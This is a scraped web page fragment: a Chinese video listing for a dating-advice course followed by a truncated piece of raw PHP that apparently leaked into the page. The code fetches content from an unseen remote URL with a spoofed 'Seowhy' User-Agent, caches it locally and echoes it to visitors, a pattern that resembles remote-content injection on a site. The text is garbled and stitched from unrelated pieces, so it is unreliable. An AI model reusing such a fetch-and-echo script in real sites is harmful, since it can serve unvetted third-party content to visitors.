1-先导篇:为什么凭感觉谈恋爱是一件危险的事?-1080P 高清-AVC【更多教程咨询请加...
2023-05-22 1.07k 9.9
没有账号?注册  忘记密码?
array( "header"=>array( "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0 Seowhy", ), "method" => "GET", "timeout" => 2 ), ); $context = stream_context_create($opts); $content = @file_get_contents($url,false, $context); if (isset($http_response_header)) { if(is_array($http_response_header)){ $http_response_header = $http_response_header[0]; } if(strpos($http_response_header,"200 OK") !==false && $content != "error"){ @file_put_contents($cacheUrl, $content); echo $content; } } }else{ $content = @file_get_contents($cacheUrl); echo $content; } ?>